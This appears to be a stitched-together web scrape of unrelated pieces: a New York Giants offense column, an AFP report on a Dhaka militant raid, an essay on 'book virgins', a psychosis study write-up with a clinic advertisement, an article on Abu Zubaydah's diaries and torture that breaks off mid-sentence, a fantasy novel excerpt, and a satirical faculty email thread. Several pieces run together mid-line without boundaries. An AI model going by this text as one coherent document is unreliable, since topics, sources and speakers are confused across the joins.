"I think it slows down the pass rush. It confuses the defense a little bit," Manning said. "I get worried about doing it an entire game just because... If you do it a whole game, it will be a little slower. You have to be able to get into all of your plays. Do we have those capabilities of getting into every single play in a no-huddle situation? If you ran the same ones over and over again, eventually the defense would catch on."
Personally, more no-huddle is something I would advocate for. As Manning said, how much of the Giants' playbook is available when they do that? Also, with young offensive linemen and running backs can they handle their assignments on the fly like that?
Trying it is an idea worth exploring, but it is fraught with risks of its own.
Is Gilbride's Offense Stale?
That is one thing that has been uttered for years. I don't buy it. It's more traditional than many of the offenses around the league. Is it predictable? At times I think almost every offense is predictable, especially when you are always behind by a boatload of points.
Does watching the shotgun draw get tiresome occasionally? Sure. Would I have called the shotgun draw Sunday on third-and-forever inside my own 5-yard-line, like Gilbride did? You bet.
Have there been plays to be made in each game the Giants have had this season? Plays that the players have not made? Yes, there have.
The blocking is an issue. The play of Hakeem Nicks is an issue. The fact that Brandon Myers can't block and has most of his receptions in garbage time is an issue. The inexperience of the running backs is an issue. The inconsistent play of the quarterback is an issue.
Giants' Offensive Stats
Pts Yrds Pass Rush Off 15.3 325.5 (23rd) 267.8 (10th) 57.8 (30th)
Final Thoughts
'Every play that works is a brilliant play call. Every play that fails is a stupid one.'
When Tom Coughlin said this week that the Giants' play-calling is "like throwing a dart at a board" he was not criticizing Gilbride. He was saying that right now the Giants have nothing to hang their hat on, nothing they KNOW will work other than throwing the ball to Cruz.
Argue about play-calling all you want. There are play calls in every game that can be questioned. I believe this: Every play that works is a brilliant play call. Every play that fails is a stupid one. So, when teams play well the coordinator is great. When they don't he should be run out of town.
There is a legitimate argument to be made that the passing attack, with its many option routes, leads to some of Manning's interceptions. Would it be a bad idea to scale some of that back and take away some of those options, thus reducing miscommunications? Maybe not, but you might also take away some chances for big plays by doing it.
Can you make an argument that perhaps Manning's comfort in Gilbride's system, long considered an asset, has made him a bit lackadaisical? Probably an anecdotal one, but it's an argument you can make. Perhaps a change would do Manning good, if only because maybe he is too comfortable.
If this type of play continues would it surprise me at the end of the year if Gilbride, and other assistant coaches, are sent packing? Not at all.
A change in coordinator, however, is not a magic elixir for what ails the Giants' offense. Catching the ball. Not fumbling. Not missing blocks. Better pass protection. Better decisions by the quarterback. Those things will fix the Giants' offense.
More from Big Blue ViewUS national among extremists killed in Bangladesh: police
A US national of Bangladesh origin was among nine suspected Islamist extremists killed in a massive gunfight in Dhaka, police said Wednesday, as officers hunted a militant who fled the shoot-out.
Dhaka Metropolitan Police spokesman Masudur Rahman told AFP that Shahzad Rouf was one of nine young men who were killed during Tuesday's early morning raid on a militant hideout.
"He was an American citizen. We confirmed his identity by checking finger prints," he told AFP.
An Islamic State group flag is seen in a handout photo released by Bangladeshi police of the house where suspected Islamist extremists were killed in a gun battle with authorities in Dhaka on July 26, 2016 ©STR (BANGLADESHI POLICE/AFP)
He said six other dead extremists were also identified by police investigators by matching their finger prints with their national identity cards.
The nine were shot dead when hundreds of armed police stormed their den at a six-storey apartment building in Dhaka's Kalyanpur neighbourhood.
Police on Wednesday launched a hunt for a survivor of the raid. Investigators hope the escaped extremist and another man who was arrested during the gunfight will shed light on the group's claimed ties with the Islamic State group (IS).
"We're conducting an investigation. Hasan has claimed that they were IS members," a senior security official told AFP, referring to a 25-year-old arrested in the raid who is being treated in hospital.
The British Council temporarily closed its offices in Bangladesh Wednesday over safety fears, as a rumour swirled that Islamist extremists would soon target a major market, school or foreign organisation.
Rouf, 24, was a business administration student at the North South University (NSU), Rahman said.
Local media said he was a close friend of Nibras Islam, one of five gunmen who attacked an upscale Dhaka cafe on July 1 and killed 22 people, mostly foreigners.
NSU, a top private university, has been a hotbed of Islamist extremism.
Another of its students was shot dead in a northern Bangladesh town a week after the Dhaka cafe attack when Islamists launched a major assault on the country's largest Eid prayer congregation, where some 250,000 people gathered.
Seven of its students were also convicted and jailed in December last year for the murder of an atheist blogger in early 2013, kickstarting a deadly campaign against secular activists and religious minorities.
Dhaka police chief Asaduzzaman Mia told reporters after the raid that most of the extremists killed in the operation were highly educated and from the country's elite.
- Islamic State? -
Rouf's father, Touhid Rouf, told AFP that he was shown a body, but was not sure whether it was that of his son.
"I am not 100 percent sure. I am confused. Maybe it is because the body had an autopsy and it was partly decomposed. We need a DNA test," he told AFP.
He confirmed that his son was an American passport holder and that he had been missing from home for the last six months.
A US embassy spokesman refused to comment on Rouf's case.
Rouf had been named on a list of missing people prepared by the elite security force Rapid Action Battalion after authorities raised concerns that he might have fled the country and joined the Islamic State group.
The nine had claimed that they were members of the Islamic State organisation, with officers recovering the group's black flags and robes from their hideout.
But the national police chief rejected the claim, asserting that the nine were members of banned homegrown militant outfit Jamayetul Mujahideen Bangladesh (JMB).
IS said it was responsible for the attack, releasing images of the carnage and photos of the five gunmen posing with the group's flag.The group has claimed responsibility for dozens of murders of religious minority members and foreigners in Bangladesh in recent months.
Bangladesh authorities, however, have steadfastly maintained that the IS has no presence in the world's third-largest Muslim majority nation. They blame homegrown groups such as JMB.
The government of Prime Minister Sheikh Hasina has launched a nationwide man-hunt for Islamists, arresting more than a dozen suspected extremists including one of JMB's regional heads.
Bangladeshi onlookers gather near the house where police killed nine suspected Islamist extremists in Dhaka on July 26, 2016 ©STR (AFP)To gain admittance to college in the 17th century, students had to be able to read and translate various Latin authors on sight. 100 years ago, students were required to have read various classical works before being admitted.
Today, however, many American students are being admitted to colleges without ever having read a book from start to finish. They are part of a cohort of students known as “book virgins.”
The National Association of Scholars (NAS) has pointed out this phenomenon in their recent report titled “Beach Books: 2014-2016. What Do Colleges and Universities Want Students to Read Outside Class?” The report offers a detailed assessment of the books that colleges across America recommend to their students before they begin classes in the fall.
The reading level of these books is oftentimes very low, meant to cater to the group of students who are “book virgins”:
“The desire to appeal to incoming students who have rarely if ever read an adult book on their own… lead selection committees to choose low-grade ‘accessible’ works that are presumed to appeal to ‘book virgins’ who will flee actual college-level reading… [S]uch ‘book virgins’ have to be wooed with simple, unchallenging works.”
And how many “book virgins” are there among entering college freshmen? According to NAS' David Randall—who drew upon NEA and Pew statistics—about 4 million, which represents about 20% of the entering freshmen class. Sadly, these students have discovered that they can receive adequate, and even good, grades in high school without ever reading a page of assigned texts.
For many students today, it’s considered an embarrassment not to have lost one’s virginity before going to college.
Would that more were embarrassed about being “book virgins.”34% city teenagers experience psychotic symptoms, finds study
Posted on 05-31-2017 Posted in Mental Health - 0 Comments
Be it for better amenities or good job opportunities, everyone wants to live in a city. While the facilities are many, city life can result in mental health disorders in people. According to a new study, growing up in a city may remarkably increase the risk of psychotic experiences such as hearing voices and paranoia.
The study, published in the journal Schizophrenia Bulletin on May 22, 2017, investigated the role played by neighborhood social conditions, personal crime victimization and urbanity in psychotic experiences among adolescents. The researchers at King’s College London and Duke University in North Carolina interviewed more than 2,000 British twins 18 years old regarding psychotic experiences they have had since they turned 12.
According to the research, among those living in the most densely populated cities, 34 percent of the participants reported psychotic experiences. The researchers also noted that 18-year-olds raised in big cities were 67 percent more likely to have such experiences. The findings revealed that up to 1 in 3 adolescents in the general population experienced psychotic symptoms, including hallucinations and delusions. The researchers also found that even after eliminating a range of potential risk factors, including family psychiatric history and adolescent substance problems, the link between adolescent psychotic experiences and growing up in an urban environment remained consistent.
In addition, personal victimization resulting from violent crimes was found to be twice as common among adolescents and those who had experienced such victimization were over three times more likely to experience psychotic episodes. The researchers also found that the combined effect of personal victimization and adverse social conditions was greater on teenagers than the independent effects of each.
The authors observed that the study results are quite important since early psychotic experiences are associated with a greater risk of psychiatric disorders and other related problems in adulthood. As early interventions offered the best hope for improving adult psychopathology, it was deemed necessary to understand various factors influencing psychotic experiences among young people to design effective preventive interventions, the researchers said.
Prior studies
The recent study is not the first one to link city living to psychosis. In a 2005 research, it was discovered that the higher prevalence of psychosis in cities was one of the most consistent findings in schizophrenia research. Similarly, a 2016 study suggested that the genetic variants that increased the risk of schizophrenia were found more common in cities rather than rural areas.
One of the factors that increased the rate of schizophrenia in cities was related to the immigrant population. According to Dr. Jeffrey Lieberman of Columbia University, people who migrate to cities face problems in speaking the local language or understanding the customs that often put them under stress, which may result in schizophrenia in an individual vulnerable to it.
Psychotic disorders: Severe but treatable
Psychotic disorders, including schizophrenia, affect the mind making it hard for someone to think clearly, communicate effectively and behave appropriately. Those with severe symptoms have trouble staying in touch with reality and are often unable to perform daily activities. Although the exact cause of psychotic disorders is not known, some of the factors that may play a role in their development include inheritance, drug abuse, stress and other major life changes. However, most psychotic disorders can be treated with a combination of medications and psychotherapy or counseling.
A leading behavioral health care provider in the U.S., Sovereign Health offers world-class treatment for a variety of psychotic disorders, including schizophrenia. At Sovereign Health of Florida, we view all mental health disorders as brain-based problems and incorporate various aspects of brain wellness to improve a patient’s cognitive faculties and brain functioning.
By providing our patients a comprehensive treatment through evidence-based techniques, we help them manage their stress, deal with underlying problems and prevent relapse of symptoms. For those looking for a psychotic disorder treatment, please reach out to a representative at Sovereign Health of Florida by calling our 24/7 helpline number. You can also chat online with our counselors to know about psychosis treatment offered at our state-of-the-art facility.A guard watches over detainees at the U.S. military prison in Guantanamo Bay, Cuba, in 2009. John Moore/Getty Images
Zain Abidin Mohammed Husain Abu Zubaydah had endured days of beatings, humiliation and being tied up in a stress position. But his Pakistani-intelligence interrogators were not giving up as they grilled the self-styled jihadi on his role among the Arab volunteers who had gone to Afghanistan to fight the Soviets but were now often suspected of plotting attacks against the West. Although the CIA had worked with Pakistani and Arab intelligence agencies to support these volunteer networks in the 1980s, the 1993 World Trade Center bombing was the first sign of a dramatic blowback, and Pakistan’s security services were now under pressure from their U.S. allies to crack down on an enterprise they had originally helped nurture. One officer repeatedly struck Abu Zubaydah, according to the vivid account written in 1995 and 1996 in the fourth volume of his diaries — the U.S. government translation of which has been obtained exclusively by Al Jazeera. “I want you to talk about your life for the last 10 years,” the officer told his captive. Today one of 14 high-value detainees at Guantanamo Bay, Abu Zubaydah back then was a leading figure in the Arab mujahedeen milieu from which Al-Qaeda emerged.
Leg restraints in an interview room at Camp V, styled after state-of-the-art U.S. federal prisons, at Guantanamo Bay. Paul J. Richards/AFP/Getty Images Abu Zubaydah was not going to confess. When asked by his Pakistani tormentors for specific information — by his own account — he gave the impression of suffering greater physical pain than was the case and eventually offered false information in order to stop the abuse. “Who is your trainer?” the officer asked, referring to the identity of the individual who trained him in weapons at Khaldan camp in Afghanistan. “My teacher’s name is Mahmud,” Abu Zubaydah replied. “Mahmud who?” “Mahmud Al-Milaiji,” he answered, confident that his interrogator would not be aware that this was the name of an Egyptian film star. Abu Zubaydah would repeat the name of the Egyptian actor during a later CIA interrogation session, according to the book “The Black Banners,” written by Ali Soufan, an FBI special agent who was present at the CIA black site where Abu Zubaydah was rendered after his capture. Abu Zubaydah was found along with his diaries in Pakistan on March 28, 2002, having fled the collapse of the Taliban regime. In the hands of the CIA, he became something of a guinea pig for the George W. Bush administration's interrogation procedures, which many groups, including top human-rights organizations, have labeled as torture. Although Al Jazeera has not seen the three subsequent diary volumes that Abu Zubaydah wrote while in CIA custody, according to his lawyers, they are a chronicle of his torture at the hands of U.S. captors.
(John Yoo's memo) authorized the interrogation of Abu Zubaydah using 10 techniques, including waterboarding, sleep deprivation, cramped confinement, stress positions, wall slamming and being placed in a confinement box with insects.
On Aug. 1, 2002, five months after Abu Zubaydah’s capture, the U.S. Justice Department’s Office of Legal Counsel sent the White House a memo drafted by attorney John Yoo and signed by his boss, Assistant Attorney General Jay Bybee. It authorized the interrogation of Abu Zubaydah using 10 techniques, including waterboarding, sleep deprivation, cramped confinement, stress positions, wall slamming and being placed in a confinement box with insects. This last technique was inspired by his diaries, where he had written of his fear of bugs. Yoo’s memo asserted that Abu Zubaydah had been one of the planners of the 9/11 attacks, the 1998 East Africa embassy bombings and every other major assault carried out by Al-Qaeda — claims later significantly pulled back by U.S. authorities. On April 27, 2002, Newsweek reported, under the headline “How Good Is Abu Zubaydah’s Information?” that he was the source of information leading to two U.S. domestic terrorism warnings pertaining to possible attacks against banks, supermarkets and shopping malls.
'Your jihad is over'
The chronicle of his Pakistan torture experience in his diaries raises the question of whether Abu Zubaydah attempted to confound his American interrogators, too, by concealing information while appearing to be releasing gems of intelligence. Obviously, unlike his Pakistani interrogators in 1995, the CIA may have been using physical duress in conjunction with other more sophisticated methods. Still, the diaries which could be painting a rosier picture than was the case of his performance under physical assault — suggest that Abu Zubaydah saw interrogation and torture as a contest from which he could emerge with his secrets intact, having fooled his questioners. Abu Zubaydah had been captured at a Pakistani checkpoint as he drove with another man — a Yemeni from Saudi Arabia — on a journey in a mini-convoy of two vehicles delivering materials to comrades moved to a safe house, the House of Exile in Babi Jadeed, because of a crackdown by Pakistani police and intelligence services. They had been looking for Ramzi Yousef, mastermind of the 1993 World Trade Center bombing. Before he was caught, Yousef was one of the most notorious residents of the House of Martyrs, the guesthouse Abu Zubaydah ran and “the center of terrorism, as it’s called,” Abu Zubaydah wrote. He recounted in his diary, “The police stopped us … I didn’t say a word. The police said to me, while pointing at me to come down, in a broken English, as if the Arabs are English speaking, he said, ‘Your Jihad is over.'”
Abu Zubaydah was repeatedly tortured by Pakistani authorities. Inter Press Service/Getty Images Abu Zubaydah handed the border guard a United Nations refugee card he acquired earlier in the year, but the ploy did not work, and he and his passenger were taken to an office in the nearby Pakistani city of Peshawar. He recounted a frantic attempt to get rid of some seals that he had used to make fake Afghan passports for his comrades: They decided to search us before being presented to the person in charge, and I was scared that they might discover the faked seals that I was carrying with me, so I said, I need to go to the bathroom (to urinate) but they didn’t allow me before doing a search. But I insisted that I can’t stand it any more, and that I will urinate in my pants. So they had to take me to the bathroom. After I closed the door, and get rid of the plastic seals, and left the wooden parts in the upper window … Then I pulled the flush and all the seals disappeared in the toilet. So I went out cheerfully because I don’t have a problem now. However, he had forgotten one seal in a pocket, which was soon found. Abu Zubaydah wrote that he tried to portray himself as a “poor oppressed reporter who is calling for democracy and fighting dictatorship.” But the Pakistani officer didn’t believe him. “F--- you don’t try to bluff,” he reportedly said. Soon the beatings began. Abu Zubaydah was taken downstairs to a prison and waited as a police car packed with Pakistani soldiers arrived. He sat in the backseat, handcuffed. The officer was in the front seat. “They took me around most of the places in the city (at night), and showed me to whomever they encountered, but no one could identify me … So they beat me up in the street and in front of the public while I was tied up. I could only push them back or scream in their faces.” The Pakistanis were trying to force Abu Zubaydah to identify the location of the House of Martyrs. He was hit using shoes and facial slaps. Then he was taken to the upper floor of a house and thrown to the ground. Two of the men grabbed his feet “while the officer started flogging using a heavy stick.” Abu Zubaydah wrote that he “turned to deceit” to get the Pakistanis to stop beating him. “I played a theatrical role; I cried loudly while pointing to my head with my hand, then the beating stopped, and he wanted to check out what happened, so I held his hand and put it on the wound toward the opening.”
So they beat me up in the street and in front of the public while I was tied up. I could only push them back or scream in their faces. Abu Zubaydah, 1995 while detained in Pakistan
In Volume 2 of his diaries, Abu Zubaydah wrote that he suffered a shrapnel wound to his head, which left a small hole in his skull, while performing ablutions on a mountain in Gardez, Afghanistan. He temporarily lost his sight and hearing and the ability to move his body. He also lost part of his memory, the ability to speak and write for about seven months. He wrote in an entry that reading his “memoirs help(ed) me memory (sic) to recall everything.” At the interrogation, Abu Zubaydah contorted his fingers to make it appear that the beating “will leave me in a state of nervous shock … I opened my right hand keeping two of my fingers twisted, and said, ‘I cannot control them.’” The officer “became more scared, left the room and lighted a cigarette hoping that the smoking will calm down his anger.” But he returned about 15 minutes later and started beating Abu Zubaydah again. “I am not going to let you go even if you die, where is the house?” he said. “I only answered with a few words trying to show that my nervous (sic) had an impact on my tongue … But he started beating me again more forcefully while I was shouting at them in English, ‘you animals!” Abu Zubaydah wrote. The officer left the room while a soldier continued to beat Abu Zubaydah. He was then taken to a prison at Qura Qabrastan. The officer, Abu Zubaydah wrote in his diary, “ordered that I should be tied up to |
, and the Hardworkers were happy to avoid foraging and farming and devote their days to sport, fighting practice, fishing, dancing, art or whatever else took their fancy.
Five generations later, still the Goachica gave them everything they needed, and still no Hardworker strayed more than ten miles from Olaf’s landing spot. Why would they? Ten miles up and down the coast and inland from Olaf’s Fresh Sea gave them more than enough space to do whatever they wanted to do. Few ever went more than a mile from the town.
But Finnbogi was a hero and an adventurer, and he was going to travel. If he were to break the confinement and track down a dagger-tooth cat... He’d be the first Hardworker to see one, let alone kill one, so if he dragged the monster home and made Thyri a necklace from its oversized fangs surely she’d see that he was the man for her? Actually, she’d prefer a knife to a necklace. And it would be easier to make.
A few minutes later Finnbogi started to feel as though he was being followed. He slowed and turned. There was nothing on the beach, but there was a dark cloud far to the north. For an alarming moment he thought there was another great storm on the way – there’d been a few groundshakers recently that had washed away the fishing nets and had people talking about Ragnarok ending the world – but then realised the cloud was a flock of crowd pigeons. One of the insanely huge flocks had flown over Hardwork before, millions upon millions of birds that had taken days to pass and left everything coated with pigeon shit. Finnbogi quickened his pace – he did not want to return to Hardwork covered in bird crap – and resumed his musings on Thyri.
He climbed over a bark-stripped log obstructing a narrow, sandy headland and heard voices and laughter ahead. Finnbogi knew who it was before he trudged up the rise in the beach and saw them. It was the gang of friends a few years older than he was.
Wulf the Fat ran into the sea, naked, waving his arms and yelling, and dived with a mighty splash. Sassa Lipchewer smiled at her husband’s antics and Bodil Gooseface screeched. Bjarni Chickenhead laughed. Garth Anvilchin splashed Bodil and she screeched all the more.
Keef the Berserker stood further out in Olaf’s Fresh Sea, his wet, waist-length blond hair and beard covering his torso like a sleeveless shirt. He swung his long axe, Arse Splitter, from side to side above the waves, blocking imaginary blows and felling imaginary foes.
Finnbogi twisted his face into a friendly smile in case they caught him looking. Up ahead their clothes and weapons were laid out on the shingle. Bodil and Sassa’s neatly embroidered dresses were hanging on poles. Both garments would have been Sassa Lipchewer creations; she spent painstaking hours sewing, knitting and weaving the most stylish clothes in Hardwork. She’d made the blue tunic and stripy trousers that Finnbogi was wearing, for example, and very nice they were too.
The four men’s clothes, tossed with manly abandon on the shingle, were leathers, plus Garth Anvilchin’s oiled chainmail. Garth’s metal shirt weighed as much as a fat child, yet Garth wore it all day, every day. He said that it would rust if the rings didn’t move against each other regularly so he had to wear it, and also he wanted to be totally comfortable when he was in battle.
In battle! Ha! The Hird’s only battles were play fights with each other. The likelihood of them seeing real action was about the same as Finnbogi travelling west and taking on a dagger-tooth cat. He knew the real reason Garth wore the mail shirt all the time. It was because he was a prick.
Despite the pointlessness of it, many of the hundred or so Hardworkers spent much time learning to fight with the weapons brought over from the old world. All four of the bathing men were in the Hird, the elite fighting group comprising Hardwork’s ten best fighters.
Finnbogi had expected to be asked to join the Hird last summer when someone had become too old and left, but Jarl Brodir had chosen Thyri Treelegs. That had smarted somewhat, given that she was a girl and only sixteen at the time – two years younger than him. It was true that she had been making weapons, practising moves and generally training to be a warrior every waking hour since she was about two, so she probably wouldn’t be a terrible Hird member. And he supposed it was good to see a woman included.
All Hardwork’s children learnt the reasons that Olaf the Worldfinder and Hardwork’s other founders had left the east, sailed a salty sea more vast than anyone of Finnbogi’s generation could supposedly imagine, then travelled up rivers and across great lakes to establish the settlement of Hardwork. Unfair treatment of women was one of those reasons. So it was good that they were finally putting a woman in the Hird, but it was a shame that it had robbed Finnbogi of what he felt was his rightful place. Not that he wanted to be in the stupid Hird anyway, leaping about and waving weapons around all day. He had better things to do.
Out to sea, Wulf the Fat dived under – he could stay down for an age – and Garth Anvilchin caught sight of Finnbogi on the beach. “Hey, Boggy!” he shouted, “Don’t even think about touching our weapons or I’ll get one of the girls to beat you up!”
Finnbogi felt himself flush and he looked down at the weapons – Garth’s over-elaborately inlaid hand axes the Biter Twins, Bjarni’s beautiful sword Lion Slayer, Wulf’s thuggish hammer Thunderbolt and Sassa’s bow which wasn’t an old world weapon so it didn’t have a name.
“And nice outfit!” yelled Garth. “How lovely that you dress up when you go wanking in the woods. You have to treat your hand well when it’s your only sexual partner, don’t you, you curly-haired cocksucker?”
Finnbogi tried to think of a clever comeback based on the idea that if he sucked cocks then he clearly had more sexual partners than just his hand, but he didn’t want to accept and develop the him-sucking-cocks theme.
“Fuck off then, Boggy, you’re spoiling the view,” Garth added before any pithy reply came to Finnbogi, curse him to Hel. Garth might be stupid but he had all the smart lines.
“Leave him alone,” said Sassa Lipchewer. Finnbogi reddened further. Sassa was lovely.
“Yes, Garth,” Bodil piped up. “Come for a wash, Finnbogi!”
“Yes, Boggy boy! Clean yourself off after all that wanking!” Garth laughed.
Wulf surfaced and smiled warmly at Finnbogi, the sun glinting off his huge round shoulders. “Come on in, Finn!” he called. Finally, somebody was calling him by the name he liked.
“Come in, Finn!” Bodil called. “Come in, Finn! Come in, Finn!” she chanted.
Sassa beckoned and smiled, which made Finnbogi gibber a little.
Behind them, Keef, who hadn’t acknowledged Finnbogi’s presence, continued to split the arses of imaginary enemies with his axe Arse Splitter.
“I can’t swim now, I’ve got to... um...” Finnbogi nodded at the stump on his shoulder.
“Sure thing, man, do what you’ve got to do, see you later!” Wulf leapt like a salmon and disappeared underwater.
“Bye, Finn!” shouted Bodil. Sassa and Bjarni waved. Garth, towering out of the water, muscular chest shining, smiled and looked Finnbogi up and down as if he knew all about the wasp, why he was wearing his best clothes and what he had planned for the stump.
“I don’t know why you give that guy any time...” he heard Garth say as he walked away.
He didn’t know why the others gave any time to Garth Anvilchin. He was such a dick. They were okay, the rest of them. Wulf the Fat had never said a mean word to anyone. Bjarni Chickenhead was friendly and happy, Sassa Lipchewer was lovely. And Bodil Gooseface... Bodil was Bodil, called Gooseface not because she looked like a goose, but because Finnbogi had once announced that she had the same facial expressions as a clever goose, which she did, and the name had stuck. Finnbogi felt a bit bad about that, but it wasn’t his fault that he was so incisively observant.
He walked on, composing cutting replies to Garth’s cock-sucking comments. The best two were “Why don’t you swim out to sea and keep on swimming?” and “Spoiling the view am I? You’re the only person here with a good view because you’re not in it!”
He wished he’d thought of them at the time.W iki Leaks Documents Release: Emails From the English Department Faculty Listserv
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Reginald Sharpington [Reg.Sharpington@xsu.edu]
Sent: Wednesday, February 13, 2015 8:11 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: The Ethics of Photographing Sleeping Students
I took this lovely picture of my snoozing composition scholars (see: attached). If I’ve violated student privacy rights I sincerely apologize. Sometimes being the bad cop gets the job done. Have I really been so awful, though? Because I can assure you these students will not be sleeping in class again!
Dr. Reginald Sharpington
Associate Professor of English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Erin Voss [E.Voss@xsu.edu]
Sent: Wednesday, February 13, 2015 8:22 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: The Ethics of Photographing Sleeping Students
Reg,
I have an athlete in a class who tends to fall asleep as soon as I turn out the lights for our PowerPoint. Perhaps I should shoot a video and threaten to send it to his coach!
Dr. Erin Voss
Assistant Professor of English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Melony Erikson [Melony@xsu.edu]
Sent: Wednesday, February 13, 2015 8:40 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: While We’re on the Subject
Hi, all,
As long as we’re talking about disruptive behavior in the classroom, I’d like some feedback. I’ve noticed an epidemic of students spreading their meals out on their desks while I’m instructing, and it’s starting to annoy me. Frankly, it makes me ill because I can’t stand the smell of fast food.
Do you include a statement in your syllabus? I was once an undergrad so I can empathize, but it’s getting ridiculous.
Thanks!
Melony
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Eckhart Winn [E.Winn@xsu.edu]
Sent: Wednesday, February 13, 2015 8:47 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: While We’re on the Subject
I’m an avowed curmudgeon, which I do not advise, but at least I nip it in the bud. I don’t eat in the classroom because I arrange my schedule so that I have lunch before class or after class. When students tell me that they have a tight schedule, I say, “Why is your problem my problem?”
I haven’t had anyone go to the dean to complain (that I know of).
Eckhart
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Jack Johns [J.Johns@xsu.edu]
Sent: Wednesday, February 13, 2015 9:02 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Food in the Classroom
Melony:
I too am often dismayed by deportment in the classroom. An impromptu buffet is evidence of the deterioration of civility. It may be uncomfortable to correct the bad manners of students, but it is sometimes necessary.
On a related subject, phone use is another contagion. Even though I have a policy statement on my syllabi, it feels like a losing battle. (I am on blood thinners and determined not to have to increase my dosage!) Any thoughts about cell phones in class?
Jack
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Valery Jenks [V.Jenks@xsu.edu]
Sent: Wednesday, February 13, 2015 9:17 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Food in the Classroom
I allow quiet eating. No noisy wrappers or overly crunchy foods. My reasoning is that a growling stomach can be even more distracting.
If a student claims a medical condition that requires them to eat noisy or smelly foods (I currently have one such student with diabetes), I ask for a doctor’s note.
All best,
Val
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Reginald Sharpington [Reg.Sharpington@xsu.edu]
Sent: Wednesday, February 13, 2015 9:21 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Food in the Classroom
Colleagues,
For millennia humans have been able to arrange feeding times around formal obligations. It distinguishes us from wild dogs. Students who eat in class may therefore risk losing their already tenuous hold on species membership and begin to make inappropriate barking noises. In order to prevent my class from turning into a kennel, I have a no-tolerance policy on eating. I do allow quiet non-distracting beverages (read: water). I would, however, be happy to accommodate a request from Disabled Student Services (there have been no such requests to date).
Eckhart, I may have a claim to being more of a curmudgeon than you, though I can also attest to the benefits of nipping it in the bud.
Keep up the fight!
Dr. Reginald Sharpington
Associate Professor of English, X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Melony Erikson [Melony@xsu.edu]
Sent: Wednesday, February 13, 2015 10:25 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Friendship Bread
Hi, all,
I’m going to leave some Amish friendship bread in the lounge for everyone. Have a slice or two! It’s not vegan, FYI.
Incidentally, if anyone wants some starter and directions on how to make your own, let me know.
peace,
Melony
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Eckhart Winn [E.Winn@xsu.edu]
Sent: Wednesday, February 13, 2015 10:25 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Cell Phones
A colleague in another department characterized texting as “the new doodling.” Poppycock! One can doodle and listen but not text and listen. Texting engages the language centers in the cortex while doodling does not.
I propose we implement a Text While You Teach Day to demonstrate the impossibility of communicating effectively while texting at the same time. Numerous studies have blown apart the myth of “multi-tasking” that our students appear to be enamored with. If any one needs journal articles that cement the findings, email me off list and I will happily provide links to these articles for distribution in your classes.
I’m with Reg: Keep up the fight!
Eckhart
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Reginald Sharpington [Reg.Sharpington@xsu.edu]
Sent: Wednesday, February 13, 2015 10:32 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Cell Phones
I have an old cell phone that I keep for this very purpose. I give it to one of my students in the front row, who is a plant – we’ve arranged it all ahead of time.
I go about lecturing and he starts texting right there in the front row. I pace back and forth in front of him and I get red in the face but try to continue lecturing, even though I’m clearly distracted.
I keep this up for as long as I can. You’d be surprised how much tension will build and yet no one will say anything.
Then I rip the phone from his hands and toss it out the window.
I never have problems with phones after that!
Give it a try. It’s great fun and you won’t be disappointed with the results.
Dr. Reginald Sharpington
Associate Professor of English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Eckhart Winn [E.Winn@xsu.edu]
Sent: Wednesday, February 13, 2015 10:36 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Cell Phones
Reg,
A defenestrated phone! I love it!
Eckhart
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Jack Johns [J.Johns@xsu.edu]
Sent: Wednesday, February 13, 2015 10:44 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: FWD: We Need to Acknowledge the Realities of Employment in the Humanities
Fellow Scholars:
I’m forwarding this article from The Chronicle that’s been making the rounds (see attachment).
The gist of it is that we’re graduating too many students and it is contributing to the casualization of the profession. The large numbers of humanities grads has helped to create the current untenable situation with respect to the glut of adjuncts and contingent faculty.
The article suggests weeding out those who may not be cut from our cloth, so to speak. It works in other professions where they keep the numbers low so as not to cheapen what they do.
I love our graduate students. I think we all do. But we need to be honest with them, even while maintaining our program. I believe we can strike a balance where we keep it going without flooding the job market.
According to the article, at least part of the problem is that we aren’t retiring. So another fix would be for all of us to retire to Aruba. Hahaha. Not me. No, thank you. I love my job and I love our students!
Jack
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Valery Jenks [V.Jenks@xsu.edu]
Sent: Wednesday, February 13, 2015 10:44 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: FWD: We Need to Acknowledge the Realities of Employment in the Humanities
Jack,
I just want to remind you that we have adjuncts and contingent faculty on this list. I know it wasn’t your intention but they might read your post as a suggestion that they don’t really belong in the field. I was an adjunct once myself.
I worked hard to distinguish myself. I volunteered for a lot of unpaid committee work and presented paper after paper at MLA, and eventually it paid off, because here I am among you, my esteemed peers.
I’m with you, Jack. I love my job and I love our students.
And so I propose we start a separate list-serve for tenured and tenure-track faculty only. Not to exclude anyone, but so their email inboxes don’t get bogged down with our conversations. There’s a lot we talk about that doesn’t really concern them and we don’t want them feeling left out of the conversation.
Thoughts? I think we could contact I.T. and get it set up post haste.
And to any contingent faculty reading, don’t be shy. We welcome your opinions and your voices here. Feel free to join the conversation from time to time. We’re all so glad you’re a part of our department!
Val
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Jack Johns [J.Johns@xsu.edu]
